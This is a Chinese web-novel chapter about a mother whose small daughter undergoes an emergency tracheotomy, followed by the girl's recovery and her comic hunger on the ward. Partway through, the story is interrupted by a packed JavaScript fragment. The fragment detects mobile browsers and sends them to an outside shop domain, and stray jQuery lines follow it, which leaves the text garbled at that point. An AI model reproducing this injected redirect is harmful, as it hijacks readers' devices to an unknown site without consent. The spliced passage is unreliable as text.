“西贝！”甘英嵘焦急的呼唤着。
“家属！家属你怎么了？”
失去意识前最后一瞬，她听到甘英嵘变了调的惊呼，和护士的喊声。
西贝是在病房里醒来的。白色的天花板，熟悉的来苏水味。她愣了几秒，猛地坐起身，一阵头晕目眩。
“你醒了？”旁边传来甘英嵘沙哑的声音。他坐在病床边的椅子上，胡子拉碴，眼窝深陷，仿佛一夜之间老了十岁。“医生说你情绪激动，加上过度疲劳，低血糖，晕倒了。给你挂了点葡萄糖。”
悠悠！手术！西贝的脑子“嗡”地一声，所有记忆回笼。她掀开被子就要下床。
“你别急！”甘英嵘按住她，“悠悠还在观察，手术安排在明天上午。陈主任亲自做，还请了儿科医院的专家一起会诊，定了方案。”
西贝挣开他，光着脚就往外跑。甘英嵘抓起她的鞋，追了出去。
她不是跑去悠悠的病房，而是跌跌撞撞地跑向了楼上——干部病房。孙兰住在这里。命运弄人，祖孙俩，一老一少，竟住进了同一家医院。或许，这某种程度上“方便”了西贝，但此刻，这种“方便”更像一种残酷的讽刺。
孙兰的病房是单人间，相对安静。她刚做完一次痛苦的胸腔穿刺引流，此刻正虚弱地靠在床头，脸色灰败，眼窝深陷，曾经丰腴的身躯像被抽干了水分的橘子，干瘪在宽大的病号服里。西敏今天“恰好”没来，西林回家拿换洗衣服了，只有请的护工在角落里打盹。
西贝冲进病房，带进一阵风。孙兰费力地睁开眼，看到女儿惨白如纸、失魂落魄的脸，心里咯噔一下。
“妈……”西贝开口，声音嘶哑得不像自己的。她走到母亲床边，腿一软，几乎跪下去。她抓住母亲枯瘦的手，那手冰凉。她抬起头，看着母亲浑浊却依然充满关切的双眼，眼泪毫无预兆地汹涌而出，瞬间爬满了她瘦削的脸颊。
“妈……”她又喊了一声，泣不成声，肩膀剧烈地抖动，像一个压抑了太久、终于崩溃的孩子，“悠悠……悠悠要动手术……很危险的手术……医生说，可能……可能……”
她说不下去，把脸埋在母亲的手掌里，滚烫的眼泪濡湿了母亲干燥的皮肤。她哭得全身发抖，哭得喘不过气，仿佛要把这些年所有的恐惧、疲惫、委屈、绝望，都在这场痛哭中倾倒出来。
孙兰没有说话，只是用另一只还能动的手，轻轻地、一遍遍地抚摸着女儿凌乱的头发。她的手在抖，心在滴血。她看着自己这个从小到大最懂事、也最命苦的大女儿，看着她被生活摧折得形销骨立，看着她背负着本该由兄弟姐妹共同承担的重担，被压得摇摇欲坠。此刻，女儿崩溃的哭泣，不是因为抱怨，而是因为抉择。
西贝哭了很久，直到眼泪流干，只剩下干涩的呜咽。她抬起红肿的眼睛，看着母亲，一字一句，用尽全身力气，说：
“妈……这次，如果……如果你和悠悠，同时……我只能顾一头了。”她的声音很低，很轻，却像淬了火的刀子，割裂了病房里凝滞的空气。“对不起……妈……对不起……求你……能理解我……”
孙兰的眼泪，终于也从深陷的眼眶里滚落。她没有说话，只是用力地、紧紧地回握住女儿的手，点了点头。那点头的幅度很小，却用尽了她所剩无几的力气。浑浊的泪水滑过她沟壑纵横的脸颊，滴在雪白的枕头上。理解？她怎么会不理解？虽然次数不多，但那也是她从小抱在怀里的外孙女啊！那是她女儿用半条命换来的心头肉啊！在生死抉择面前，母亲的天平，从来就没有第二种倾斜的可能。她只是恨，恨自己这具不争气的身子，在这紧要关头，不仅不能为女儿分忧，反而成了她不得不面对的、最残忍的抉择的一部分。
“去吧……”孙兰艰难地发出一个气音，松开手，用眼神示意门口，“去守着悠悠……我这里……有人……”她指的是那个还在打瞌睡的护工，以及不知何时会回来的丈夫，还有那两个指望不上的儿女。
西贝深深看了母亲一眼，那一眼，包含了太多的愧疚、痛苦、决绝和依恋。然后，她松开手，转过身，一步一步，像踩在刀尖上，走出了母亲的病房。背影像一棵被风雪摧折、却依然努力挺直枝干走向另一场暴风雪的老树。
甘英嵘在门外等着她，把鞋递给她。西贝默默地穿上，两人无言地走向楼下的外科医生办公室。
陈主任和几位专家还在。看到西贝红肿却异常平静的眼睛，陈主任心里叹了口气，但语气更温和了些，将手术方案、风险、术后可能的情况，又详细解释了一遍。简而言之，会诊后的方案是可以不用开胸，直接在脖子处，气管割开，放置引流管将胸腔内的气体排出。手术有风险，但不做，悠悠很可能挺不过这次。
“我们签。”西贝听完，没有任何犹豫，拿起笔，在手术同意书上签下了自己的名字。这一次，她的手很稳。
回到病房，悠悠已经醒了。激素和药物的作用下，她的小脸浮肿得更厉害，眼睛被挤成两条细缝，脖子上插着氧气管，手上打着吊针，整个人像一只被各种管线困住的、虚胖的变了形的娃娃。但她精神似乎好了一点，正侧着头，眼巴巴地看着邻床一个刚做完阑尾炎手术的小男孩，正捧着一个铝饭盒，津津有味地吃着家里送来的红烧肉。那油亮的色泽，那浓郁的酱香，在弥漫着消毒水味的病房里，显得如此诱人，如此……生机勃勃。
悠悠不自觉地咽了口口水，小喉咙动了动。
西贝走过去，坐在床边，握住女儿没有打针的那只小手。悠悠转过头，看到妈妈，细声细气地说：“妈妈，对面小哥哥的红烧肉，看起来好好吃哦。”
西贝的心，像被一只无形的手狠狠攥住，疼得她几乎无法呼吸。她努力挤出一个笑容，声音温柔得能滴出水来：“悠悠想吃红烧肉了？”
悠悠用力地点点头，但因为戴着氧气面罩，动作显得有些滑稽：“嗯！想吃！还想吃大米饭！拌着肉汁，可以吃两大碗！”
西贝的眼泪差点又夺眶而出。她拼命忍住，俯下身，在女儿耳边轻轻说：“好，等我们悠悠好了，妈妈给你做一大碗红烧肉，烧得油光透亮，肥而不腻，拌着大米饭，让悠悠吃个够。”
悠悠的眼睛亮了一下，但随即又黯淡下去，小声说：“可是医生叔叔说，我还要住好久医院。”
“不用好久。”西贝抚摸着女儿滚烫的额头，用最轻松、最诱哄的语气说，“明天，医生叔叔和护士阿姨，会带悠悠去一个特别的房间，那里有一个很厉害的大相机，给悠悠拍几张漂亮的照片。拍完照片，检查一下，如果我们悠悠表现好，很快就能出院回家，吃红烧肉了！好不好？”
“拍照？”悠悠的注意力被吸引了，“是像曹叔叔那样，给我拍拿着篮球的照片吗？”
“对，比那个还要好看！拍完，我们就回家。”西贝笃定地说。
悠悠信了。惨白浮肿的小脸上，露出一丝期待的笑容。“那我要穿那件红色的新毛衣拍！”她已经开始盘算。
“好，穿新毛衣。”西贝亲了亲女儿的额头，心里一片冰冷的荒芜。
第二天上午，一切准备就绪。手术室的推床来了。穿着绿色手术服的医护人员，显得严肃而陌生。
为首的，是悠悠熟悉的尧医生。他年轻，挺拔，是悠悠的主治医生之一，对悠悠总是很温和，悠悠私下里叫他“尧尧医生”，觉得他是医院里最帅的叔叔，还经常唤尧叔叔的未婚妻“漂亮阿姨”（夫妻二人都在儿科工作）
“悠悠小朋友，准备好了吗？我们要去拍照啦！”尧医生努力让自己的声音听起来轻松愉快，他弯下腰，想抱起悠悠放到推床上。
他的手刚碰到悠悠的背，心里就暗叫一声不好。他知道悠悠因为激素胖，但实际抱起来的重量，还是超出了他的预估。那沉甸甸的、软乎乎却又异常实沉的分量，让他腰部猛地一受力，差点闪到。他稳了稳心神，脸上笑容不变，小心地把悠悠抱上推床。“我们悠悠真是结实的小朋友！”
悠悠乖乖地躺着，大眼睛看着天花板，又看看周围穿着绿衣服的叔叔阿姨，小声问：“尧尧医生，去哪里拍照呀？漂亮阿姨会来吗？妈妈不去吗？”
“妈妈和爸爸在外面等你，拍完就能看到他们了。”一个护士阿姨温柔地给她掖了掖被子，“躺着别动哦，我们出发。”
推床被平稳地推出病房，进入走廊。西贝和甘英嵘跟在旁边，西贝一直握着悠悠的小胖手。悠悠看着爸爸妈妈，又看看周围不断后退的病房门和天花板上的灯，心里隐隐有些不安，但想到拍完照就能出院吃红烧肉，她又努力把那点不安压下去。
电梯上行，来到手术室所在的楼层。大门打开，里面是另一个世界。宽阔的走廊，光滑得能照出人影的地面，空气里是更浓烈的消毒水味和一种冰冷的、金属的气息。推床在一个双开的大门前停下。门上亮着红灯，写着三个字：手术室。
“妈妈，爸爸，你们不进来吗？”悠悠看着停在门外的父母，疑惑地问。
“爸爸妈妈在这里等你，加油，悠悠最勇敢了。”西贝弯下腰，最后一次亲吻女儿的额头，然后迅速直起身，怕自己再多看一眼就会崩溃。
甘英嵘也摸了摸女儿的脸，喉结滚动，一句话也说不出来。
手术室的大门打开，推床被推进去，然后，那扇厚重的、隔绝生死的大门，在西贝和甘英嵘眼前，缓缓关闭。红灯亮起：“手术中”。
门内，是完全不同的景象。无影灯的光线惨白而集中，照在手术台上。空气冰冷，各种仪器发出单调的滴滴声。护士们有条不紊地做着最后的准备，器械车被推过来，虽然上面整齐地排列着闪亮的手术刀、止血钳、镊子、剪刀……泛着冷冽的金属光泽，但这个时候被一层薄薄的纱布罩着，悠悠暂时看不到。
悠悠被转移到狭窄的手术台上。无影灯的光刺得她睁不开眼。她看到头顶上一个巨大的、圆圆的、像锅盖一样的灯（手术灯），心里想：这个灯好亮啊，拍照是要亮一点。
一个护士推着一个小推车过来，上面盖着一块白色的无菌布。悠悠好奇地看着。
尧医生和另一个年长些的医生（麻醉师）戴上了口罩和帽子，只露出眼睛。他们的眼神看起来很严肃，不再是平时温和的样子。
“小朋友，我们现在要给你的脖子消消毒，有点点凉，不用怕哦。”护士阿姨拿着棉签，蘸着红褐色的碘酊，涂在悠悠的脖颈上。
凉凉的，还有一股奇怪的味道。悠悠缩了缩脖子：“这个红红的是什么呀？不是拍照吗？”
“这个涂了，拍出来颜色好看。”尧医生解释道，声音透过口罩有些闷。
悠悠“哦”了一声，勉强接受。但她的眼睛一直盯着那个盖着白色无菌布的小推车。为什么拍照要推这个车来？
就在这时，护士揭开了小推车上的无菌布。
悠悠的眼睛，猛地瞪大了。
那上面，不是什么相机。而是她曾经在电视里（可能是某个医疗剧，或者科普节目）看到过的——手术器械！长长短短的刀子、钳子、剪刀，还有针线，在无影灯下闪着寒光。
一瞬间，所有的疑惑、不安、以及从进入这个冰冷房间就开始积累的恐惧，达到了顶点。电视里的画面和眼前的现实重叠了！
“你们骗人！” 她用尽全身力气尖叫起来，声音因为恐惧和缺氧而尖锐刺耳，“不是拍照！是要开刀！我看到电视里放过的！你们放开我！妈妈！爸爸！救命啊！！！”
她开始疯狂地挣扎，小小的身体爆发出惊人的力量，试图从手术台上滚下去。氧气管被她扯到一边，手上的输液针也差点被挣脱。
“快！按住她！”麻醉师低喝。
两个护士立刻上前，一左一右，用力抓住了悠悠胡乱挥舞的胳膊。另一个护士则按住了她的腿。成年人的力量是绝对压倒性的，无论悠悠如何踢打、扭动，都像是落入蛛网的小虫，徒劳无功。
“妈妈——！爸爸——！救我！我不要开刀！我怕！我害怕！！！”悠悠的哭喊声凄厉而绝望，在冰冷的手术室里回荡。然而，厚重的手术室大门，将她与父母彻底隔绝。门外的西贝和甘英嵘，只能看到门上那盏刺眼的红灯，和门内隐约传来的、被隔音材料过滤得模糊不清的器械碰撞声，以及自己擂鼓般的心跳。
“准备麻醉！”尧医生沉声命令，额角已经渗出细密的汗珠。这孩子比预想的还要不配合，力气也大，三个大人得用尽全力压制住她。
就在这时，麻醉师迅速换了一个更小的针管，针头很细。“接下来这里会有一点点像被蚊子叮的感觉，别怕，很快就好，你就可以舒舒服服睡一觉了。” 他说着，在已经消毒好的区域，选定了位置，进行局部麻醉注射。
针尖刺入皮肤的瞬间，悠悠“嘶”地抽了口凉气，身体本能地一僵。“好了，好了，最疼的一下过去了。” 麻醉师快速推完药，用棉签轻轻按压。
起初是针刺的锐痛，紧接着，注射点周围开始出现一种奇特的、迅速蔓延开来的麻木感和肿胀感。悠悠觉得自己的脖子好像不是自己的了，摸上去木木的，感觉变得迟钝。她更害怕了，这感觉太奇怪了。
悠悠还在拼命摇头，泪水糊满了她浮肿的小脸。但渐渐地，她不敢多动弹，哭喊声变成了呜咽，瞪大的眼睛里，恐惧被一种茫然的、涣散的神色取代。她看到尧医生拿着一个亮闪闪的东西（手术刀），那刀锋反射着无影灯冰冷的光。
不……不是拍照……是刀……
这是手术刀啊，不能再乱动了，这个认知，伴随着无边的黑暗，彻底吞噬了她最后一丝意识。在陷入沉睡的前一刻，她小小的身体不再挣扎，只是那双渐渐失去神采的眼睛，还残留着一丝被最亲的人欺骗后的、巨大的困惑和绝望，直直地望向头顶那盏苍白得刺眼的、巨大的灯。
手术室外，时间仿佛凝固了。西贝和甘英嵘并排坐在冰凉的金属长椅上，像两尊失去灵魂的雕塑。西贝的双手紧紧攥着，指甲深深掐进掌心，留下月牙形的、渗血的痕迹，她却浑然不觉。甘英嵘低着头，盯着自己沾满灰尘的鞋尖，一动不动。走廊里偶尔有医护人员匆匆走过，脚步声在空旷的空间里回荡，更添压抑。
等待。无尽的等待。每一分每一秒，都在凌迟着门外这对父母的心。西贝的脑海里不受控制地闪过无数可怕的画面，又强迫自己压下。她开始无声地祈祷，向她知道的一切神佛祈祷，哪怕她从不信这些。甘英嵘则站起身，在狭窄的走廊里来回踱步，脚步沉重。
终于，不知又过了多久，那扇紧闭的、写着“手术中”的红灯，终于“啪”地熄了。
西贝像是被那轻微的电流声击中，猛地从长椅上弹起来，腿却一软，几乎跪下去。她踉跄着扑到门前，眼睛死死盯着那缓缓打开的门缝。
移动病床被推了出来。上面躺着她的悠悠，那么小，那么白，像被抽干了所有颜色，只剩一团模糊的、裹在绿色无菌单下的轮廓。但西贝的眼睛，像最精准的探针，瞬间就钉在了女儿的脖子上——
那里，不再是她熟悉的、纤细柔软的孩童脖颈。取而代之的，是一圈厚厚的、刺眼的白色纱布，层层叠叠，像一道粗暴的枷锁，牢牢焊在皮肉上。纱布的边缘，还隐约沁出一点惊心的、暗红色的血渍。
就在那一瞬间。
就在西贝所有的理智、所有学来的上海腔调、所有努力维持的“体面”都被那抹血红击得粉碎的瞬间——一声粗嘎的、生硬的、仿佛从被砂石磨过的喉咙深处挤出来的山东土话，像一头失控的野兽，猛地冲出了她的牙关：“俺的个娘啊……这遭罪的命啊！”
话音砸在冰冷空旷的走廊上，带着她掖县老家泥土的腥气和绝望。
时间仿佛凝固了一秒。
西贝猛地住了口，像被人扼住了喉咙。她脸上最后一点血色也褪尽了，只剩下一片死灰。她惶恐地、下意识地用手死死捂住自己的嘴，仿佛要堵住更多即将失控逃窜的乡音。眼睛里面翻涌着后知后觉的惊恐、无法收拾的狼狈，以及更深、更沉的，连她自己都不敢辨认的痛苦——那痛苦，与眼前女儿惨白的脸无关，似乎通往更幽暗的过去，通往她自己也曾被命运扼住喉咙的时刻。
而病床上，甘悠长长的睫毛颤抖着，在一片麻药带来的、浑浊模糊的视界里，只看到一个剧烈颤抖的母亲轮廓，和耳边回荡着那几个她完全听不懂的、却像冰锥一样刺进她恍惚意识里的、坚硬而绝望的音节。
那句话，连同喉咙被割开的冰冷幻痛，一起烙进了她六岁的记忆里，成为她对这场手术、对母亲、甚至对自身存在最初的，也是最狰狞的注脚。
尧医生第一个走出来，他戴着口罩和帽子，只露出一双布满血丝、写满疲惫的眼睛。绿色的手术服前襟，有深色的汗渍。
西贝和甘英嵘立刻围了上去，想开口，喉咙却像被什么堵住，发不出声音，只能用眼神死死盯着医生。
尧医生摘下半边口罩，长长地舒了一口气，对着他们，很轻、但很清晰地点了点头。
“手术顺利。气管切开完成了，气体全部放出了，呼吸及各项指标都正常了。”他的声音沙哑，透着浓浓的倦意，“孩子现在生命体征平稳，送到监护室观察。如果二十四小时没问题，后续感染控制住，就转回普通病房。”
西贝紧绷到极致的神经，仿佛“嘣”地一声断了。不是断裂，而是骤然松弛带来的巨大虚空。她腿一软，险些瘫倒在地，甘英嵘眼疾手快地扶住了她。
“谢谢……谢谢医生……”甘英嵘的声音也在发抖，握着西贝胳膊的手，用力得指节发白。
尧医生摆了摆手，想说“这是我们应该做的”，但看着这对父母瞬间苍老憔悴、仿佛劫后余生的脸，最终只是又点了点头，转身离开，背影疲惫不堪。
悠悠的小脸苍白如纸，浮肿未消，眼睛紧紧闭着，睫毛上还挂着泪珠。脖子上缠着厚厚的纱布，身上连着各种监护仪的线。她被直接送进了儿科重症监护室。
西贝和甘英嵘只能隔着监护室巨大的玻璃墙看她。那个小小的身子，陷在白色的病床里，几乎被各种仪器和管子淹没，只有胸口微弱的起伏，证明她还活着。
西贝的手掌贴在冰冷的玻璃上，仿佛想透过这层阻碍，去触摸女儿的脸。她的眼泪无声地流淌，这一次，不再是崩溃的绝望，而是后怕到极致、心疼到极致、又混杂着一丝微弱希望的、复杂的洪流。
不知过了多久，麻醉药效彻底过去，悠悠睫毛颤动了几下，缓缓睁开了眼睛。她的眼神起初是茫然的，空洞的，没有焦距。然后，她似乎感觉到了脖颈处传来的、不同于以往任何一次生病或打针的、深层的钝痛和强烈的异物感，猛地攫住了她。她无法发出声音，每一次呼吸都能感受到气流经过颈部的震动。昏睡前最后的记忆碎片闪回——那把闪光的刀，逼近脖子的画面……红色的碘酒，被死死按住的身体，还有那甜腻的、令人窒息的气味。
她看到了玻璃墙外的妈妈。
委屈、恐惧、疼痛、被欺骗的愤怒……种种情绪瞬间涌上心头，她的嘴巴瘪了瘪，大眼睛里迅速蓄满了泪水。但她不敢哭，甚至不敢大声抽泣。幼小的潜意识里，仿佛有一个声音在警告她：脖子被割开了，不能动，不能哭，不能出声，不然会裂开，会死。
于是，那眼泪就那样大颗大颗地、无声地从她眼角滚落，滑进鬓角，浸湿了枕头。她只是看着妈妈，用那双盛满了巨大无助和迷茫的眼睛，一眨不眨地看着，小小的身体因为压抑的哭泣而微微发抖。
西贝的心，在那一刻，碎成了齑粉。她隔着玻璃，用力地对女儿做口型，一遍又一遍：“悠悠乖……不怕……妈妈在……妈妈在……”
甘英嵘也红着眼圈，对着女儿竖起大拇指，用唇语说：“悠悠勇敢……真棒……”
悠悠似乎看懂了，又似乎没看懂。她就那样静静地看着，流着泪，不发出一点声音。直到体力不支，再次昏昏沉沉地睡去。
西贝一直站在玻璃墙外，直到护士来劝，说孩子需要休息，家属也不能一直站着。她才像一具被抽走了灵魂的木偶，被甘英嵘扶着，慢慢走到监护室外面的家属等候区，坐在冰冷的塑料椅子上。
甘英嵘去买了两份冰冷的盒饭，递给她一份。西贝接过来，机械地扒拉着米饭，食不知味。吃了几口，她忽然停下，抬起头，看着甘英嵘，用干涩的声音，平静地、一字一句地说：
“医生说了，手术很成功。悠悠会好起来的。”
像是说给甘英嵘听，更像是说给自己听。
“等悠悠好了，出院了，我就给她做红烧肉。做一大碗，让她拌着米饭，吃个够。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621386|206185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>说完，她低下头，继续吃饭。眼泪，却一颗接一颗，掉进冰冷的饭盒里，和着米饭，被她一起，默默地咽了下去。那咸涩的滋味，从舌尖，一直蔓延到心底，再蔓延向看不见的、似乎永远也走不到头的未来。
在监护室观察了四十八小时后，悠悠的指标平稳，被转回了普通病房。脖子上的纱布依旧存在，用胶带固定着，悠悠每次呼吸时依旧会发出轻微的、带着水音的“嘶嘶”声，但她已经能睁着大眼睛，好奇地打量周围了。那眼神，清澈得仿佛几天前在手术台上经历生死恐惧的，是另一个小孩。
孩子的记性，有时是金，能镌刻最深的情感；有时又如潮水褪去的沙，轻易就抹平了最痛的痕迹。悠悠似乎就属于后者。或者说，是身体本能的保护机制，让她选择了遗忘。那个冰冷手术台上的恐惧，被欺骗的委屈，都仿佛被全麻的余波彻底洗去，沉入了记忆深处。她现在关心的，只有最原始的本能。
转到普通病房的第二天下午，麻药和镇静剂的效力彻底过去，悠悠缓缓转醒。她眨了眨眼睛，先是茫然地盯着天花板上那块水渍看了几秒（她心里可能在琢磨那像不像一块红烧肉），然后，那双还带着些许困意和浮肿的大眼睛，就准确地、像安装了食物雷达一样，转向了守在床边的西贝。
她的嘴唇动了动，喉咙里发出一点气声，西贝立刻俯身凑近。然后，她听到女儿用虚弱但异常清晰、甚至带着点理直气壮的气流声，说出了醒来后的第一句话：
“妈妈……我肚皮……咕咕叫，老饿老饿额！”（肚子咕咕叫，好饿好饿的！）
声音很轻，带着手术后特有的嘶哑，但那份纯粹的、对食物的渴望，却像一道光，瞬间劈开了病房里沉郁的消毒水味道，也劈开了西贝心中连日积聚的阴霾。她的宝贝女儿，在经历了那样一场生死劫难，脖子上还缠着厚厚的纱布，插着维系呼吸的管子，醒来的第一件事，不是哭闹，不是喊疼，而是用上海话喊饿。
西贝的眼泪差点又掉下来，这次是混合着心酸和一种荒诞的、想笑的冲动。她连忙握住女儿没有打点滴的小手，用同样软糯的上海话哄道：“乖囡，妈妈晓得侬饿。但是医生叔叔讲，阿拉悠悠刚开好刀，肚皮里的肠胃还勒拉睏觉（在睡觉），要等伊醒过来，做做生活（干干活），放个屁屁，再出出货（排排便），告诉阿拉伊好了，阿拉才能慢慢交切好切额。现在先吃眼米汤，好伐？”
悠悠似懂非懂，但“饿”的感觉是如此真实而强烈。她的小肚子适时地发出“咕噜噜噜——”一阵响亮悠长的肠鸣，像是在对她的“谎报军情”表示最强烈的抗议。她扁了扁嘴，大眼睛里瞬间蒙上一层委屈的水雾，但还是点了点头，奶声奶气、带着嘶嘶的气声说：“格么……快点让伊醒呀……”（那……快点让它醒呀……）
然而，孩子的食欲和注意力，是病房里最容易被调动，也最难被满足的。很快，邻床的小朋友开饭了。家属端来的是一个热气腾腾的搪瓷缸子，里面是飘着金黄色油花、点缀着碧绿葱花和撕得细细的鸡丝的鸡汤面，那股鲜香霸道地弥漫开来。另一床，一个小男孩正“啊呜”一口，欢快地啃着一块酱色油亮、香气四溢的葱烤大排，米饭上还浇了浓浓的汤汁，他砸吧嘴的声音清晰可闻。还有一床，家长正一勺一勺，小心翼翼地把嫩黄水滑、颤巍巍的鸡蛋羹喂到孩子嘴里，那滑嫩的样子看着就好吃。
各种食物的香味混合在一起，在病房的空气中弥漫、交织、攻城略地，对饿了几乎两三天的悠悠来说，无异于最残酷的刑罚。她的小脑袋像向日葵跟着太阳一样，不由自主地、精准地转向各个香气的来源，眼睛瞪得圆溜溜、乌沉沉，一眨不眨地盯着别人家的饭菜，小鼻子还一耸一耸地，拼命吸气，仿佛多吸几口香味也能解馋。喉咙不自觉地做着吞咽动作，那渴望的眼神几乎要凝成实质，黏在那些食物上，拉出丝来。
西贝看得心酸又好笑，只能不停地小声用上海话安抚：“再屏屏（忍忍），乖囡，再屏一眼眼，妈妈明朝就给侬烧比格额（这个）还要香的红烧肉，阿拉切一整碗大米饭，好伐？”
等待“排气”的这一天，对悠悠和西贝都格外漫长。西贝几乎每隔一小时就要轻声问：“肚皮有撒感觉伐？肠肠醒了吗？”悠悠每次都认真感受一下，然后失望地、带着气声报告：“么（没）……伊还勒拉睏懒觉……”（它还在睡懒觉……）
终于，在转回普通病房的第三天早上，悠悠在被窝里扭了扭，然后抬起小脸，有点不确定地、带着点神秘和一点点不好意思的表情，用气声对西贝说：“妈妈……好像……好像有眼声音……”
西贝立刻屏息凝神，凑近了些。果然，一声极其轻微、但在母亲耳中不啻于天籁的“噗——”声，从被子里传了出来。
“哎哟！醒了醒了！阿拉悠悠格肠肠醒特了！（醒了！）”西贝欣喜地低呼，连忙按铃叫来护士。医生检查后，点了点头：“嗯，通气了。可以开始吃一点清淡的流质，慢慢过渡到半流质。”
这意味着，悠悠离她心心念念的“好吃的”又近了一大步。但西贝谨遵医嘱，只敢给她喝稀释的米汤、藕粉，最多加点捣得极烂的蛋花。每次喂食，悠悠都眼巴巴地看着那清汤寡水，再看看邻床的“大鱼大肉”，那小表情，委屈得能把人看出罪恶感来。
真正“开禁”那天，对面床的小朋友因为感冒胃口不好，家长送来的一小碗鸡汤面只动了几筷子。那位好心的上海阿姨看到悠悠那“望眼欲穿”、“望穿秋水”的馋痨眼神，忍不住“扑哧”笑出声，用爽朗的嗓音对西贝说：“哎哟，奈屋里厢格小囡（你们家小孩）眼神力道结棍额（眼神厉害得很）！格能（这样），阿拉毛毛胃口伐好，格眼面还蛮清爽额，奈囡囡要是切得下，伐嫌鄙（不嫌弃）格闲话（的话），拨（给）伊切两口？还温乎额。”
西贝本想推辞，但看到悠悠瞬间亮得堪比灯泡的眼神，和那几乎要流下“哈喇子”（口水）的样子，心里一软，道了谢，接过碗。她挑了一小缕最软烂、几乎入口即化的面条，小心地吹了又吹，确定温凉了，才喂到悠悠嘴边。
悠悠早就等不及了，小嘴张得圆圆的，“吸溜”一下，那一小缕面条就不见了踪影。她几乎是囫囵吞了下去，然后砸吧砸吧嘴，大眼睛眯成月牙，用气声发出满足的叹息：“鲜额！”（鲜的！）然后立刻指着碗，急不可耐：“还要！妈妈，还要！多一眼！（多一点！）”
西贝看她吃得香，心里也高兴，又挑了一筷子，这次稍微多了一点，还带了点鸡汤。悠悠几乎是“狼吞虎咽”，小嘴巴动得飞快，几口就吃了下去。一碗本来就没剩多少的面，不一会儿就见底了，连汤都喝得干干净净，碗底亮得能照人。
吃完，悠悠舔了舔油光光的小嘴唇，显然意犹未尽。她摸摸自己依然感觉空落落的肚子，又看看那个光溜溜的碗，仿佛在疑惑：怎么这么快就没了？然后，她仰起小脸，用那还带着嘶哑、却异常清晰坚定、甚至还带了点“理不直气也壮”的腔调，对着西贝，也对着全病房的人，认真地宣布：
“妈妈，吾还么切饱！我还要……要一碗大米饭！要红烧肉汁拌拌！”
脆生生的、带着嘶嘶气声的童音，配上她脖子上那圈显眼的纱布和呼吸套管，以及那一脸“我是认真的，我真的没吃饱”的严肃表情，形成了一种奇特的、令人忍俊不禁的反差。尤其是那句“吾还么切饱！”，从一个脖子还插着管子的小不点嘴里说出来，喜剧效果直接拉满。
“噗——哈哈哈！”邻床正喂孩子吃饭的家长第一个没忍住，笑喷出来，赶紧捂住嘴。
对面床的阿姨笑得前仰后合：“哎哟喂！格小囡结棍额！胃口噶好！一碗面下去，还要吃饭！了勿起了勿起！（厉害厉害）”
另一个床的阿婆也笑眯眯地说：“戆囡（傻孩子）有戆福！切得落（吃得下）就是福气！切得多，营养好，毛病就跑得远！”
临床小男孩的爸爸一边给他擦嘴一边笑道：“就是讲呀，小妹妹，侬切饭噶结棍（你吃饭这么厉害），肯定马上就好起来了！比阿拉格个只‘小排骨’（指自己瘦弱的儿子）结棍多了！”
“是额呀，姆妈侬放心好了，”又一位家属宽慰西贝，“小囡恢复起来快得勿得了，有胃口，就等于身体勒拉讲：‘我要好了！’侬看伊，精神头多足！”
一时间，病房里充满了善意的、带着浓浓上海腔的哄笑声和七嘴八舌的安慰。这些来自陌生病友的、朴实无华甚至有些粗粝的市井笑语，像一碗热气腾腾的、加了胡椒粉的辣酱面，一下子冲散了病房里固有的消毒水味和沉闷感，也冲淡了西贝心头那沉甸甸的、压了太久的悲苦与焦虑。她看着女儿虽然虚弱但已重现光彩、甚至因为“没吃饱”而显得有点“气鼓鼓”的小眼睛，看着那张沾着一点油光、对“大米饭”和“红烧肉汁”充满执念的肉肉脸，一直沉重如铅的心，仿佛也被这生动活泼的“吃货”现场撬开了一道缝，透进了久违的、带着生活暖意的光亮。
她低头，看着那个被悠悠舔得光可鉴人的碗，再看看女儿那副“我真的还能再战三百回合”的表情，终于忍不住，嘴角极轻、极轻地，向上弯了一下，然后笑意渐渐扩大，最后化成了一个带着泪花的、无奈的、却又无比真实的笑容。
“侬只小馋佬！（你个小馋猫！）”她轻轻点了点悠悠的额头，语气是嗔怪的，眼底却漾满了柔软的光，“等侬脖子高头格根物事（脖子上的这东西）拿忒（拿掉），妈妈一定让侬切个够！”
“真额啊？”悠悠眼睛“唰”地更亮了，仿佛已经看到了红烧肉在向她招手。
“真额！妈妈骗过侬伐？”西贝笑着反问，心里却因这无意中的反问微微一涩，但很快被眼前女儿鲜活的模样冲淡。
“嗯！”悠悠用力点头，心满意足地咂咂嘴，仿佛已经尝到了那想象中的美味。至于手术台的冰冷、脖子的疼痛？哦，那是什么？有红烧肉重要吗？
病房里的笑声和谈话声渐渐低下去，恢复了平静。但空气中，似乎还残留着刚才那阵鲜活的人间烟火气。西贝给女儿掖了掖被角，看着她很快又泛起的睡意，心里那沉甸甸的石头，仿佛轻了那么一丝丝。是啊，能吃，能睡，能为了“没吃饱”而“据理力争”，这不就是生命最顽强、也最可爱的样子吗？西贝边缓缓拍着悠悠的后背，边无力的在病床边的座椅上沉沉睡去。